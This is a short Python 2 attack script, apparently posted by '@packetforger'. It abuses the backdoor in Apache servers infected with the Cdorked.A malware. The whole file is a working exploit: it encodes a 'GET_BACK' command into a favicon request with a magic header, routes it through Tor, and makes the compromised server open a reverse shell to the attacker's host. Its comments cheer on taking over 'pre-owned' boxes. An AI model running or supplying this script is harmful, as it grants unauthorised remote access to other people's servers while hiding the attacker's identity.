cdorkedshell.py

cdorkedshell.py

#!/usr/bin/python2
# All credit to malware.lu team for expert analysis!
# https://code.google.com/p/malware-lu/wiki/en_malware_cdorked_A#How_to_get_a_shell?
# Have fun owing all them pre-owned box
# @packetforger - packetforger.wordpress.com
import requesocks
import sys

def getShell(rhost, rport, lhost, lport):
    payload = ('GET_BACK;%s;%s' %(lhost, lport)).encode('hex') #payload
    url = 'http://%s:%s/favicon.iso?%s' %(rhost, rport, payload)
    headers = {'X-Real-IP': '251.223.201.178',
             'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0'}
    # set 0000 key and an arbritary useragent. In this case, Firefox.
    session = requesocks.session()
    session.proxies = {'http': 'socks5://127.0.0.1:9050',
                       'https': 'socks5://127.0.0.1:9050'}
    print "(+) Attempting to spawn the shell!"
    r = session.get(url=url, headers=headers)

def main(args):
    if len(sys.argv) != 5:
        sys.exit("usage: %s <rhost> <rport> <lhost> <lport>" %(sys.argv[0]))
    rhost = sys.argv[1] # now we declare 
    rport = sys.argv[2] # all our vars
    lhost = sys.argv[3] # and all your base
    lport = sys.argv[4] # are belong to us
    print "(+) Launching attack on %s:%s" %(rhost, rport)
    getShell(rhost, rport, lhost, lport)

if __name__ == "__main__":
    main(sys.argv)